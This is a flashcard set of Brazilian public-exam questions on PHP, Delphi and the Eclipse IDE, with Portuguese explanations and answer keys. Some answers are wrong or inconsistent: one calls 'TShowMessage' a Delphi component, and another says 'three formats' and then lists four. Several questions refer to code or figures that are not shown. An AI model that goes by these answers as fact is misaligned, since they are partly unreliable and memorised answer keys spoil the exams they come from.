A função isset() é utilizada para verificar se uma variável (incluindo cookies) está definida e não é nula. Para verificar um cookie específico, você pode usar isset($_COOKIE['nome_do_cookie']).

As outras opções listadas não são funções válidas para essa finalidade em PHP.

Gabarito: Letra D

392
Q
  1. (FGV / PCA AP- 2022) No contexto da linguagem PHP, analise as afirmativas a seguir.

I. Os comandos print e echo podem ser usados para produzir saída de dados (ouput).

II. Todos os comandos de saída retornam o valor zero.

III. Todos os comandos de saída podem receber múltiplos argumentos de entrada.

Está correto o que se afirma em

a) II, apenas.
b) I, apenas.
c) I e III, apenas.
d) II e III, apenas.
e) I, II e III.

A

Vamos analisar cada uma das afirmativas sobre a linguagem PHP, bora?

I. Os comandos print e echo podem ser usados para produzir saída de dados (output). - Correta. Ambos print e echo são usados para imprimir dados na saída. Eles são muito similares, mas com algumas diferenças mínimas, como echo não retornar um valor e ser ligeiramente mais rápido que print em algumas situações.

II. Todos os comandos de saída retornam o valor zero. - Incorreta. Echo não retorna um valor (portanto, não retorna zero), enquanto print sempre retorna 1. Isso significa que print pode ser usado em expressões, enquanto echo não pode, devido à sua natureza de não retornar um valor.

III. Todos os comandos de saída podem receber múltiplos argumentos de entrada. - Incorreta.
Echo pode aceitar múltiplos argumentos, se estes forem separados por vírgula (,), mas print não pode, pois ele aceita apenas um único argumento.

Dado isso, apenas a afirmativa I está correta. Portanto, a resposta é: b) I, apenas.

Gabarito: Letra B

393
Q
  1. (FGV / TJ TO- 2022) Numa página web, um script PHP deve ser localizado entre as tags:

a) <?php ?>
b) <php>
c) <?php> <?>
d) <scriptPHP>
e) <.php .php></scriptPHP></php>

A

Mais uma questão para amar a FGV! O script PHP em uma página web deve ser envolvido pelas tags <?php e ?>.

Isso indica ao servidor que o que está dentro dessas tags deve ser processado como código PHP.

Portanto, a resposta certa é a alternativa A <?php ?>.

Gabarito: Letra A

394
Q
  1. (FGV / PC AM- 2022) No contexto da linguagem de script PHP, assinale a lista que contém variáveis pré-definidas (superglobais).

a) $_GET, $_POST
b) $PAGE, $QUERYSTRING
c) @INPUT, @OUTPUT
d) _FORM_DATA, _FORM_LABELS
e) <input></input>, <FORM>

A

As variáveis superglobais no PHP são variáveis embutidas que estão sempre disponíveis em todos os escopos ao longo de um script.

Entre as opções fornecidas, apenas a opção a) contém variáveis pré-definidas que são reconhecidas como superglobais no PHP.

São elas:

$_GET: Uma superglobal que coleta dados enviados na URL.

$_POST: Uma superglobal que coleta dados enviados através de formulários.

Portanto, a resposta correta é:

a) $_GET, $_POST

Gabarito: Letra A

395
Q
  1. (FGV / SEMSA Manaus- 2022) No contexto do PHP, assinale a forma correta para criar um
    cookie com a duração de trinta dias.

a) addcookie(‘nome’, ‘Maria’, 30 days, “/new”).

b) addcookie(‘nome’, ‘Maria’, time() + (86400 * 30), “/”).

c) new_cookie(‘nome’, ‘Maria’, time() + 30d, “/novos”).

d) setcookie(‘nome’, ‘Maria’, time() - (30d), “/”).

e) setcookie(‘nome’, ‘Maria’, time() + (2592000), “/”).

A

Para criar um cookie com a duração de trinta dias no PHP, a forma correta é utilizando a função setcookie().

Esta opção está correta porque utiliza setcookie() para criar o cookie, o segundo
parâmetro é o valor do cookie (‘Maria’).

O terceiro parâmetro é o tempo de expiração do cookie, que é configurado como o tempo atual (obtido através de time()) mais o número de segundos em trinta dias (2592000 segundos).

Por fim, o quarto parâmetro é o caminho no qual o cookie estará disponível, neste caso, “/” indica que o cookie estará disponível em todo o site.

Portanto, a opção correta é a letra e).

Gabarito: Letra E

396
Q
  1. (VUNESP / UNICAMP - 2023) Assim como em diversas outras linguagens de programação, a
    linguagem PHP possui um recurso para apresentar (ou imprimir) texto ao usuário.

Assinale a alternativa que apresenta o uso correto deste recurso.

a) console.log(“Hello World”);
b) System.out.println(“Hello World”);
c) write(“Hello World”);
d) printf “Hello World”;
e) echo “Hello World”;

A

Na linguagem PHP, a instrução echo é utilizada para exibir texto no navegador ou console.

É a maneira mais comum e direta de apresentar informações ao usuário.

O comando echo pode ser usado com ou sem parênteses: echo ou echo().

Os exemplos da aula mostram como exibir texto com o comando echo (observe que o texto pode conter marcação HTML):

echo “<h2>PHP is Fun!</h2>”;
echo “Hello world!<br></br>”;
echo “I’m about to learn PHP!<br></br>”;
echo “This “, “string “, “was “, “made “, “with multiple parameters.”;

Gabarito: Letra E

397
Q
  1. (VUNESP / UNICAMP - 2023) O seguinte trecho de código escrito na linguagem PHP explora o assunto de precedência de operadores.

<?php
$n = 10 % 2 + 3 * 2;
?>

É correto afirmar que o valor da variável n será:

a) 3
b) 6
c) 11
d) 13
e) 16

A

Vamos analisar o código e a precedência dos operadores para determinar o valor da variável n.

$n = 10 % 2 + 3 * 2; neste código, temos os seguintes operadores: %: Resto da divisão (módulo), +: Soma, *: Multiplicação.

De acordo com a ordem de operações do PHP, multiplicação e divisão são realizadas antes de soma e subtração.

Além disso, o operador módulo possui o mesmo nível de precedência da multiplicação e divisão.

Portanto, a expressão será avaliada da seguinte forma:

$n = (10 % 2) + (3 * 2). (10 % 2) = 0 e 3*2 = 6, assim, n = 6.

Gabarito: Letra B

398
Q
  1. (VUNESP / UNICAMP - 2023) O PHP possui uma função que pode ser utilizada para espelhar os elementos de um array, de tal forma que o primeiro elemento do array original se torne o último elemento do novo array. O nome desta função é:

a) array_flop()
b) array_mirror()
c) array_invert()
d) array_reverse()
e) array_stack()

A

Trata-se de array_reverse() que retorna um array na ordem inversa.

Ela é uma função do PHP que reverte a ordem dos elementos em um array.

Ela cria um novo array onde o primeiro elemento do array original se torna o último, o segundo se torna o penúltimo, e assim por diante.

Essa função é útil quando você precisa inverter a ordem dos elementos em um array sem modificar o array original.

As demais alternativas não existem nas array functions.

Gabarito: Letra D

399
Q
  1. (VUNESP / EPC- 2023) Observe o trecho de código escrito na linguagem PHP a seguir.

<?php
$str = “Hello Worlds!”;
$str = preg_replace(‘/\s+/’, ‘’, $str);
echo $str;
?>

A mensagem impressa, correspondente ao valor da variável $str, é:

a) Hello World
b) Hello Worlds
c) Hello World!
d) Hello Worlds!
e) HelloWorlds!

A

Questão que trata sobre a função preg_replace() usando expressões regulares.

O código remove espaços em branco da string usando a função preg_replace(), que é uma função de substituição de padrões usando expressões regulares em PHP.

A expressão regular /\s+/ está substituindo
qualquer sequência de um ou mais espaços em branco (\s+) por uma string vazia, ou seja, está
removendo todos os espaços em branco da string. Portanto, a string original “Hello Worlds!” será transformada em “HelloWorlds!”, e é isso que será impresso.

Assim, a resposta correta é a letra e)
“HelloWorlds!”.

Gabarito: Letra E

400
Q
  1. (VUNESP / Pref Jaguariúna- 2023) A operação matemática de exponenciação é amplamente utilizada em diversas linguagens de programação, como na linguagem PHP.

Assinale a alternativa que apresenta, corretamente na linguagem PHP, a sintaxe para realizar a operação “3 elevado a 2” (ou “3 ao quadrado”).

a) pow(3,2)
b) exp(3,2)
c) 3 * 2
d) 3 ^ 2
e) 3 / 2

A

Na linguagem PHP, a operação de exponenciação é realizada usando a função pow().

Assim, para calcular “3 elevado a 2” ou “3 ao quadrado”, você usaria a sintaxe pow(3, 2).

Portanto, a resposta correta é a letra a) pow(3, 2).

Gabarito: Letra A

401
Q
  1. (VUNESP / UNICAMP- 2023) A linguagem PHP permite trabalhar diretamente com números na base hexadecimal.

Para tal, o número deverá ter o prefixo:

a) 0x
b) 0b
c) 0h
d) hex
e) he

A

Na linguagem PHP, para trabalhar diretamente com números na base hexadecimal, é necessário adicionar o prefixo “0x” antes do número hexadecimal.

Portanto, a resposta correta é a letra a) “0x”.

Vamos revisar? Um número inteiro deve ter pelo menos um dígito e não deve ter ponto decimal.

Ele pode ser positivo ou negativo. Além disso, os inteiros podem ser especificados em três
formatos diferentes: decimal (base 10), hexadecimal (base 16, prefixado com 0x), octal (base 8, prefixado com 0) ou binário (base 2, prefixado com 0b).

Estas regras ajudam a compreender a
representação e o uso adequado de números inteiros em PHP.

Gabarito: Letra A

402
Q
  1. (VUNESP / UNICAMP - 2023) Na linguagem PHP, é possível verificar se duas variáveis
    possuem o mesmo valor e/ou o mesmo tipo, sendo que o operador utilizado para essa
    verificação é o:

a) =
b) ==
c) ===
d) <>
e) <=>

A

Na linguagem PHP, para verificar se duas variáveis possuem o mesmo valor e o mesmo tipo, utiliza-se o operador de comparação estrita ===.

Portanto, a resposta correta é a letra c) ===.

Idêntico: $x === $y. Retorna verdadeiro se $x for igual a $y e tiverem o mesmo tipo.

Gabarito: Letra C

403
Q
  1. (FCC - 2009 – TRT/MG - Analista Judiciário - Tecnologia Da Informação) A primeira tela exibida quando um programa Delphi é executado, cuja exibição dura apenas alguns instantes durante a carga do programa, denomina-se tela:

a) ShowModal.
b) OnShow.
c) de login.
d) de setup.
e) de splash.

A

Não é apenas no Delphi que chamamos esse tipo de tela de splash.

É bastante comum uma telinha de apresentação para que o usuário acompanhe o carregamento.

Veja o exemplo abaixo para o Word 2010.

Gabarito: E

404
Q
  1. (CESPE - 2015 - STJ - Analista Judiciário - Desenvolvimento) Delphi - Métodos callback são formas de instanciar métodos utilizando-se tecnologia de chamada em segundo plano escondido do plano sequencial da aplicação.
A

Os métodos ou funções callback são métodos passados como parâmetro para funções que obtêm dados da API Windows.

Eles podem ser síncronos (plano sequencial da aplicação) ou assíncronos (segundo plano).

Gabarito: E

405
Q
  1. (FGV - 2015 - TCE-SE - Analista De Tecnologia Da Informação - Desenvolvimento) Em um
    programa codificado na linguagem Delphi, a abertura do arquivo texto “arq.txt” para leitura
    utiliza, em sequência, as chamadas Assign(arq,”arq.txt”) e Reset(arq), sendo arq uma variável do tipo text.

Supondo que a opção {$IOChecks off} esteja habilitada, para saber se o arquivo foi
aberto com sucesso, o programador deve:

a) testar o valor retornado pela função Reset, que é do tipo boolean;

b) testar o valor retornado pela função Reset, que é do tipo integer;

c) testar o valor retornado pela função IOResult, que é do tipo boolean;

d) testar o valor retornado pela função IOResult, que é do tipo integer;

e) testar os valores retornados pelas funções Reset e IOResult, ambos do tipo integer.

A

Mais uma para o livro de questões decorebas, no Delphi, variáveis iniciadas com “$” indicam
diretivas de compilação. A $IOChecks determina se uma operação de IO deverá lançar uma
exceção quando houver erro.

{$IOChecks Off} não gera a exceção, e passa a ser de responsabilidade do programador checar se a operação deu certo através da função IOResult que retorna um inteiro (0 se houve sucesso, e um número positivo em caso de erro).

Gabarito: D

406
Q
  1. (CESPE - 2015 - STJ - Analista Judiciário - Desenvolvimento) Delphi - A diretiva $V controla a verificação de tipos em sequências curtas, que são passados como parâmetros variáveis.
A

A diretiva $V é uma abreviação de $VarStringChecks. Esse enunciado parece estar escrito em outra língua, mas está correto.

Essa diretiva define se os parâmetros do tipo short strings devem ser verificados ao serem enviados para uma subrotina.

Por padrão essa verificação é habilitada, para
que não seja enviada uma string longa (maior que 255 caracteres) para um parâmetro short, o que causaria erros.

Gabarito: C

407
Q
  1. (CESPE - 2015 - STJ - Analista Judiciário - Desenvolvimento) O TdataSource é um componente não visual da VCL (visual component library) utilizado em formulários para conectar um controle
    e um conjunto de dados usado pelo controle.
A

Certo o TdataSource é um componente de acesso a dados para controlar a conexão a um conjunto de dados.

Ele não é visual, os componentes visuais são os Data Controls, como o DBGrid.

Gabarito: C

408
Q
  1. (CESPE - 2015 - STJ - Analista Judiciário - Desenvolvimento) Na versão 7 do Delphi, os drivers nativos para o Firebird não estão disponíveis, mas é possível acessá-los por meio de componentes dbExpress, em cuja paleta a propriedade DriverName define o driver do banco de dados utilizado.
A

Firebird é um tipo de base de dados. O Delphi permite a conexão a inúmeros bancos de dados através do componente dbExpress, desde que você inclua o driver que deverá utilizado.

Gabarito: C

409
Q
  1. (CESPE - 2005 – TRT/MA - Analista Judiciário - Tecnologia Da Informação) A linguagem Delphi permite acessar os campos de um conjunto de dados por meio do objeto Tfield e seus descendentes, mas não permite a alteração de suas propriedades, que deve ser realizada pelo método Tfieldchange.
A

O objeto Tfield permite o acesso ao conjunto de dados e também a alteração de suas propriedades. O método Tfieldchange não existe.

Gabarito: E

410
Q
  1. (CESPE - 2005 - TRT - 16ª REGIÃO (MA) - Analista Judiciário - Tecnologia Da Informação) A arquitetura de banco de dados da linguagem Delphi possui componentes que representam e
    encapsulam, apropriadamente, informações de banco de dados. A interface do usuário interage com os dados através da origem dos dados, conectando-se a um conjunto de dados.
A

Essa questão aborda a arquitetura de banco de dados na linguagem Delphi, que é frequentemente usada para desenvolvimento de aplicações com interface gráfica e acesso a dados. Vamos detalhar os pontos principais mencionados:

  1. Componentes que Representam e Encapsulam Informações de Banco de Dados:
    • No Delphi, componentes como TDataSet, TTable, TQuery, entre outros, são usados para interagir com diferentes tipos de banco de dados. Eles encapsulam a lógica necessária para a manipulação de dados, permitindo que os desenvolvedores se concentrem na lógica de negócios e na interface do usuário.
  2. Interface do Usuário e Origem dos Dados:
    • A interface do usuário em Delphi interage com os dados por meio de componentes visuais, como TDBGrid, TDBEdit, entre outros, que estão vinculados a um conjunto de dados (TDataSet). Essa ligação permite que as alterações feitas na interface sejam refletidas automaticamente nos dados e vice-versa.
  3. Conexão a um Conjunto de Dados:
    • A conexão com o banco de dados é geralmente feita por meio de componentes como TDatabase ou TADOConnection, dependendo do tipo de acesso a dados que está sendo utilizado (por exemplo, ADO, BDE, dbExpress). Uma vez estabelecida a conexão, os componentes de conjunto de dados podem ser usados para realizar consultas, inserções, atualizações e exclusões.

Essa arquitetura permite um desenvolvimento mais ágil e uma melhor manutenção do código, já que os componentes de dados encapsulam a complexidade do acesso ao banco de dados.

Gabarito: Certo

411
Q
  1. (CESPE - 2005 - TRT - 16ª REGIÃO (MA) - Analista Judiciário - Tecnologia Da Informação) O componente palette possui funcionalidades que usam o activex data objects (ADO), padrão
    Microsoft, para acessar banco de dados por meio do OLEDB.
A

Questão mal escrita. O componente palette, é a paleta de componentes, ou seja a “prateleira” que contém todos os componentes disponíveis no Delphi.

Como já vimos, existem diversos tipos de conexão, como o dbExpress.

O OLEDB (Object Linking and Embedding Database), é uma API
desenvolvida pela Microsoft, que permite o acesso a dados de uma variedade de fontes.

Por sua vez os componentes ADO facilitam a troca de dados com o servidor e o banco OLEDB e está disponível nos componentes Delphi.

Gabarito: C

412
Q
  1. (CESPE - 2004 - TRT - 10ª REGIÃO (DF E TO) - Analista Judiciário - Tecnologia Da Informação)

O código que se segue apaga um determinado elemento, aIndex, dentro de um array chamado FArray.

A

Esta procedure tem um código super complicado, mas está fácil responder, perceba que aIndex é um inteiro, não é um elemento do array, e sim o índice, que é utilizado para o cálculo do elemento que será deletado.

Gabarito: E

413
Q
  1. (AOCP - 2012 - TCE-PA - Assessor Técnico - Analista De Sistemas) Na linguagem de programação Delphi, os arquivos com extensão “.pas”, “.dfm” e “.dpr” armazenam os códigos fontes, respectivamente, referentes a

a) unidades de programa, formulário, demais unidades do projeto.
b) demais unidades do projeto, unidades de programa, formulário.
c) formulário, demais unidades do projeto, unidades de programa.
d) recursos do projeto, formulário, todas as unidades de programa.
e) todas as unidades de programa, formulário, recursos do projeto.

A

Na linguagem de programação Delphi, os arquivos com as extensões mencionadas têm as seguintes funções:

  1. .pas: Este é o arquivo que armazena o código fonte da unidade de programa. Cada módulo ou unidade de um projeto Delphi tem um arquivo .pas associado, onde está implementada a lógica da aplicação.
  2. .dfm: Este arquivo contém a descrição do formulário em termos de sua aparência e propriedades. É gerado automaticamente pelo Delphi quando você cria um formulário visual e armazena informações sobre os componentes do formulário, como botões, caixas de texto, etc.
  3. .dpr: Este é o arquivo de projeto Delphi que contém a configuração do projeto e a declaração da unidade principal do programa. Ele também pode incluir outras unidades do projeto.

Com base nas definições acima, a resposta correta é:

a) unidades de programa, formulário, demais unidades do projeto.

Gabarito: A

414
Q
  1. (CESGRANRIO - 2010 - ELETROBRAS - Analista De Sistemas - Engenharia De Software) Analise o fragmento de código de um sistema de controle de estoque desenvolvido em Delphi,
    apresentado a seguir.
    Nesse fragmento, qual comando deve substituir a string XXX para correto funcionamento do código?

a) TextFile
b) OpenTxt
c) GetFile
d) OpenRead
e) AssignFile

A

Questão de sintaxe, o comando que vincula um arquivo a uma variável do tipo File (nesse caso TextFile) através de seu nome é o AssignFile.

Gabarito: E

415
Q

Questão 1

Qual é a extensão padrão dos arquivos de código-fonte em Delphi?

a) .dfm
b) .pas
c) .dpr
d) .exe
e) .dll

A

A resposta correta para a questão sobre a extensão padrão dos arquivos de código-fonte em Delphi é:

b) .pas

Os arquivos com a extensão .pas contêm o código fonte das unidades de programa.

Gabarito: B

416
Q

Questão 2

Qual componente é usado para criar uma janela de mensagem em Delphi?

a) TForm
b) TButton
c) TLabel
d) TShowMessage
e) TApplication

A

A resposta correta para a questão sobre qual componente é usado para criar uma janela de mensagem em Delphi é:

d) TShowMessage

O TShowMessage é utilizado para exibir uma caixa de mensagem ao usuário.

Gabarito: D

417
Q

Questão 3

Em Delphi, qual comando é usado para declarar uma variável?

a) var
b) dim
c) let
d) define
e) set

A

A resposta correta para a questão sobre qual comando é usado para declarar uma variável em Delphi é:

a) var

Em Delphi, utilizamos a palavra-chave var para declarar variáveis.

Gabarito: A

418
Q

Questão 4

Qual função é usada para encontrar a posição de uma substring em uma string em Delphi?

a) InStr
b) Pos
c) Locate
d) Find
e) Search

A

A resposta correta para a questão sobre qual função é usada para encontrar a posição de uma substring em uma string em Delphi é:

b) Pos

A função Pos é utilizada para localizar a posição de uma substring dentro de uma string.

Gabarito: B

419
Q

Questão 6

Qual componente é utilizado para exibir um conjunto de dados em forma de tabela?

a) TGrid
b) TListBox
c) TComboBox
d) TEdit
e) TLabel

A

A resposta correta para a questão sobre qual componente é utilizado para exibir um conjunto de dados em forma de tabela em Delphi é:

a) TGrid

O componente TGrid, como o TStringGrid ou TDBGrid, é utilizado para mostrar dados em formato tabular.

Gabarito: A

420
Q

Questão 7

Qual é o propósito do evento OnClick em um botão (TButton) no Delphi?

a) Executar uma função quando o botão é clicado.
b) Alterar a cor do botão.
c) Criar uma nova instância do botão.
d) Adicionar um botão ao formulário.
e) Definir o texto do botão.

A

A resposta correta para a questão sobre o propósito do evento OnClick em um botão (TButton) no Delphi é:

a) Executar uma função quando o botão é clicado.

O evento OnClick é acionado quando o usuário clica no botão, permitindo que uma função específica seja executada nesse momento.

Gabarito: A

421
Q

Questão 8

Em Delphi, como você define um comentário de uma única linha?

a) // Comentário
b) /* Comentário */
c) – Comentário
d) # Comentário
e) ‘ Comentário

A

A resposta correta para a questão sobre como definir um comentário de uma única linha em Delphi é:

a) // Comentário

Os comentários em Delphi podem ser feitos utilizando // para comentários de uma única linha.

Gabarito: A

422
Q

Questão 10

Em Delphi, qual tipo de projeto é gerado quando você cria um novo aplicativo?

a) Console Application
b) Web Application
c) VCL Forms Application
d) DLL
e) Package

A

A resposta correta para a questão sobre qual tipo de projeto é gerado quando você cria um novo aplicativo em Delphi é:

c) VCL Forms Application

Quando você cria um novo projeto em Delphi, o tipo padrão geralmente é uma VCL Forms Application, que é usado para desenvolver aplicações com interface gráfica.

Gabarito: C

423
Q
  1. (CEBRASPE – 2007 – PRB/AC – Analista de Sistemas) O uso de IDEs como Eclipse ou NetBeans é mais adequado no ambiente de teste que na workstation do desenvolvedor.
A

De jeito algum! Está invertido, visto que eles são mais adequados no ambiente de desenvolvimento do que de teste. Gabarito: E

424
Q
  1. (CEBRASPE – 2008 – SERPRO – Analista de Sistemas) O Eclipse é um ambiente de desenvolvimento integrado, baseado em plug-ins diversos, wizards que orientam a construção das aplicações e class browsers para visualização da estrutura de diretórios e arquivos do projeto.
A

A afirmação sobre o Eclipse como um ambiente de desenvolvimento integrado (IDE) está correta. Vamos detalhar alguns pontos importantes:

  1. Ambiente de Desenvolvimento Integrado (IDE): O Eclipse é amplamente utilizado como um IDE para desenvolvimento de software, especialmente para linguagens como Java, C++, Python, entre outras.
  2. Baseado em Plug-ins: O Eclipse possui uma arquitetura baseada em plug-ins, o que permite a adição de funcionalidades através da instalação de diversos plug-ins. Isso possibilita que os desenvolvedores personalizem seu ambiente de acordo com suas necessidades específicas.
  3. Wizards: O Eclipse oferece wizards (assistentes) que ajudam os desenvolvedores na criação de novos projetos e na configuração de aplicações, facilitando o processo de desenvolvimento.
  4. Class Browsers: O IDE possui ferramentas como class browsers, que permitem visualizar a estrutura de classes e arquivos de um projeto, ajudando na navegação e organização do código.

Conclusão
A descrição do Eclipse como um ambiente de desenvolvimento integrado com base em plug-ins, wizards e class browsers é precisa e reflete suas principais características.

Gabarito: C

425
Q
  1. (CEBRASPE – 2010 – MPU – Analista de Sistemas) Na arquitetura do Eclipse, versão 3.1, o workbench é responsável por administrar os recursos do usuário que são organizados em um ou mais projetos.
A

Não devemos confundir Workspace com Workbench!

O primeiro é o diretório que mantém informações sobre os projetos em que o desenvolvedor está trabalhando, assim como as preferências do Eclipse (desde layout a comportamento).

Ele é o “espaço de trabalho” em si, contendo os dados que estão sendo trabalhados, organizados em projetos, e como se trabalha com eles, i.e., as preferências. Já o segundo é a janela principal
do Eclipse.

É o local em que se organiza os componentes, com diferentes visões e editores para manipular fontes e dados.

Em outras palavras, trata-se de um “painel de instrumentos” com perspectivas e visões.

A questão trata de um workspace!

Gabarito: E

426
Q
  1. (CEBRASPE – 2010 – SERPRO – Analista de Sistemas) Considerando as tecnologias atualmente disponíveis para o desenvolvimento de sistemas, o analista Pedro deverá escolher ferramentas a serem utilizadas em um projeto.

Se os aplicativos forem desenvolvidos em Java, a ferramenta de IDE (integrated development enviroment) escolhida por Pedro poderá ser o Eclipse, pois, embora não seja um software gratuito e de código aberto, já traz plug-ins específicos como o EJB e o Hibernate.

A

A afirmação contém algumas incorreções. Vamos analisá-la em detalhes:

  1. Eclipse é um Software Gratuito e de Código Aberto:
    O Eclipse é um software gratuito e de código aberto. Ele é mantido pela Eclipse Foundation e pode ser baixado e utilizado sem nenhum custo. A afirmação de que o Eclipse não é gratuito nem de código aberto está incorreta.
  2. Plug-ins Específicos como EJB e Hibernate:
    O Eclipse tem uma arquitetura baseada em plug-ins, e realmente há plug-ins disponíveis para tecnologias como EJB (Enterprise JavaBeans) e Hibernate. No entanto, esses plug-ins podem precisar ser instalados separadamente, dependendo da versão do Eclipse utilizada, pois nem todos vêm instalados por padrão.

Correção da Afirmação:
Se a afirmação fosse corrigida, ela poderia ser algo como:
> “Pedro poderá escolher o Eclipse como ferramenta de IDE, pois ele é um software gratuito e de código aberto, e oferece suporte a plug-ins específicos, como EJB e Hibernate, que podem ser instalados conforme necessário.”

Conclusão
Portanto, a afirmação da questão está incorreta principalmente por dizer que o Eclipse não é gratuito nem de código aberto.

Gabarito: E

427
Q
  1. (CEBRASPE – 2010 – TRE/BA – Analista de Sistemas) Com a IDE Eclipse, é possível desenvolver diferentes sistemas com a linguagem Java. Existem distribuições do Eclipse específicas para trabalhar com desenvolvimento web na plataforma J2EE.
A

A afirmação está correta. Vamos detalhar os principais pontos:

Eclipse e Desenvolvimento Java

  1. Desenvolvimento Java com Eclipse:
    O Eclipse é amplamente utilizado para o desenvolvimento de sistemas em Java. Ele é uma das IDEs mais populares para essa linguagem, oferecendo uma variedade de ferramentas e recursos que facilitam o desenvolvimento de aplicações Java, incluindo suporte a editores de código, depuração, e integração com sistemas de controle de versão, como Git.
  2. Distribuições Específicas para J2EE:
    Existem distribuições específicas do Eclipse focadas em desenvolvimento web e corporativo usando a plataforma J2EE (Java 2 Platform, Enterprise Edition), atualmente conhecida como Java EE ou Jakarta EE. O Eclipse IDE for Java EE Developers inclui ferramentas e plug-ins voltados para o desenvolvimento de aplicações web, como suporte a Servlets, JSPs, EJBs, e frameworks populares como Hibernate e Spring.

Essas distribuições são pré-configuradas com os plug-ins necessários para o desenvolvimento de aplicações empresariais e web, o que facilita a criação de sistemas baseados em tecnologias como Java EE.

Conclusão
A afirmativa está correta. O Eclipse oferece distribuições específicas para desenvolvimento web e corporativo na plataforma J2EE (Java EE), e é uma ferramenta poderosa para o desenvolvimento em Java.

Gabarito: C

428
Q
  1. (CEBRASPE – 2011 – BRB – Analista de Sistemas) No Eclipse, a perspectiva Debug possui várias views para realizar a depuração de um programa Java: uma delas é a view Debug, que exibe os servidores configurados para executar o projeto e a lista de processos Java em execução.
A

A afirmação está parcialmente correta, mas contém uma imprecisão. Vamos analisar os detalhes:

Perspectiva Debug no Eclipse

  1. Perspectiva Debug:
    A perspectiva Debug no Eclipse é usada para depurar programas, permitindo aos desenvolvedores monitorar a execução de seu código, inspecionar variáveis e pilhas de chamadas, e controlar a execução (como avançar linha por linha ou continuar até o próximo breakpoint).
  2. View Debug:
    A view Debug exibe informações sobre a execução de programas. Ela mostra os processos em execução, as threads e os breakpoints atingidos durante a depuração de um programa Java. É a partir dessa view que o desenvolvedor pode controlar a execução do código, como iniciar, pausar ou parar o programa em depuração.
  3. Imprecisão sobre Servidores:
    A view Debug não é usada para exibir servidores configurados para executar o projeto. Essa função está associada à view Servers, que é utilizada principalmente quando se está trabalhando com desenvolvimento web ou Java EE, onde servidores de aplicação (como Tomcat, WildFly, etc.) precisam ser configurados para rodar o projeto.

Correção da Afirmação:
A view Debug exibe processos Java em execução e informações sobre a depuração de programas, mas não exibe os servidores configurados para executar o projeto. A exibição de servidores está associada à view Servers.

Conclusão:
A afirmativa está parcialmente correta, mas apresenta uma imprecisão ao dizer que a view Debug exibe os servidores configurados.

Gabarito: Errado

429
Q
  1. (CEBRASPE – 2011 – TJ/ES – Analista de Sistemas) O IDE Eclipse é um ambiente de desenvolvimento exclusivo para a linguagem Java.
A

A afirmação está incorreta. Vamos analisar o motivo:

Eclipse e Suporte a Múltiplas Linguagens

  1. Eclipse não é exclusivo para Java:
    Embora o Eclipse seja muito popular para o desenvolvimento em Java e tenha sido inicialmente projetado com foco nessa linguagem, ele não é exclusivo para Java. O Eclipse é uma IDE extensível que, através de sua arquitetura baseada em plug-ins, pode ser usada para desenvolver em diversas linguagens de programação.
  2. Suporte a Outras Linguagens:
    O Eclipse suporta várias linguagens de programação além de Java, como:
    • C/C++ (com o CDT - C/C++ Development Tooling)
    • PHP (com o PHP Development Tools - PDT)
    • Python (com o PyDev)
    • JavaScript (com o JSDT - JavaScript Development Tools)
    • Ruby, Perl, Go, Rust, entre outras.
    Isso é possível graças à instalação de plug-ins específicos para cada linguagem.

Conclusão:
A afirmativa está incorreta. O Eclipse não é exclusivo para a linguagem Java; ele suporta várias outras linguagens de programação, tornando-se uma IDE versátil e extensível.

Gabarito: Errado

430
Q
  1. (CEBRASPE – 2012 – TRE/RJ – Analista de Sistemas) O Eclipse — ferramenta de desenvolvimento de aplicativos em Java, PHP etc. — é muito utilizado no mercado mundial. Para essa ferramenta, existem diversos plug-ins que se comunicam entre si para garantir uma consistência e integração em todo o seu ambiente de desenvolvimento.
A

Perfeito! O Eclipse é extremamente extensível, i.e., pode-se utilizar plug-ins para desenvolver em Java, C, C++, PHP, ColdFusion, Python, etc.

Gabarito: C

431
Q
  1. (FCC – 2007 – MPU – Analista de Sistemas) A visão do Eclipse Workbench, que permite criar, selecionar e excluir projetos é:

a) Tasks view
b) Package View.
c) Outline View.
d) Private View.
e) Navigator View.

A

A resposta correta para a questão sobre a visão do Eclipse Workbench que permite criar, selecionar e excluir projetos é:

e) Navigator View.

A Navigator View no Eclipse é utilizada para visualizar e gerenciar projetos, arquivos e pastas dentro do workspace. Nela, é possível criar, selecionar, excluir e organizar projetos.

Gabarito: E

432
Q
  1. (FCC – 2013 – AL/RN – Analista de Sistemas) O Eclipse IDE permite que sejam configurados atalhos de teclado para seus comandos. A opção de configuração de teclas se encontra na tela de preferências, seguindo as opções de menu:

a) User Interface e Keyboard.
b) Keyboard e Configure.
c) Editors e Keyboard.
d) Key Mappings e Configure.
e) General e Keys.

A

A resposta correta para a questão sobre onde configurar atalhos de teclado no Eclipse IDE é:

e) General e Keys.

No Eclipse, os atalhos de teclado podem ser configurados acessando a tela de Preferences e navegando até General > Keys, onde é possível personalizar os atalhos para diversos comandos da IDE.

Gabarito: E

433
Q
  1. (FCC – 2013 – AL/RN – Analista de Sistemas) Com a utilização do Eclipse IDE, é possível efetuar a mudança de encoding de um determinado arquivo, alterando-o, por exemplo, para UTF-8. Esse processo pode ser feito pela opção “Set Encoding…” presente no menu:

a) Refactor.
b) Format.
c) Configure.
d) File.
e) Edit.

A

A resposta correta para a questão sobre alterar o encoding de um arquivo no Eclipse IDE é:

e) Edit.

Gabarito: E

434
Q
  1. (CESGRANRIO - 2008 – TJ/RO – Analista de Sistemas) A base para o trabalho no ambiente Eclipse é o Workbench, com o qual o usuário interage diretamente, e que corresponde ao conceito comumente conhecido como “IDE” – Integrated Development Environment (ambiente integrado de desenvolvimento). A figura
    a seguir mostra uma janela do Workbench.

Com base na figura, assinale a afirmação correta.

a) “Project Explorer” é uma perspectiva.
b) “Java EE” é uma view (visão).
c) “Outline” é um inspector (inspetor).
d) web.xml está aberto em um editor.
e) “Properties” é um resource (recurso).

A

(a) Não, é uma visão;
(b) Não, é um projeto;
(c) Não, é uma visão;
(d) Sim, basta ver a figura;
(e) Não, é uma visão.

Gabarito: D

435
Q
  1. (CESGRANRIO - 2008 – TJ/RO – Analista de Sistemas) Os recursos de atualização e instalação de novos plugins do Eclipse se encontram no menu:

a) File.
b) Edit.
c) Refactor.
d) Window.
e) Help.

A

Está no menu Help -> Installation Details -> Plug-ins.

Gabarito: E

436
Q
  1. (CESGRANRIO - 2009 – CMB – Analista de Sistemas) Em uma reunião técnica da equipe de infraestrutura, foi discutido qual sistema operacional deveria ser instalado nos servidores da Internet.

Nesse caso, NÃO é exemplo de sistema operacional:

a) Eclipse
b) Linux
c) FreeBSD
d) Mac OS
e) OpenBSD

A

Galera, Eclipse não é Sistema Operacional!

Gabarito: A

437
Q
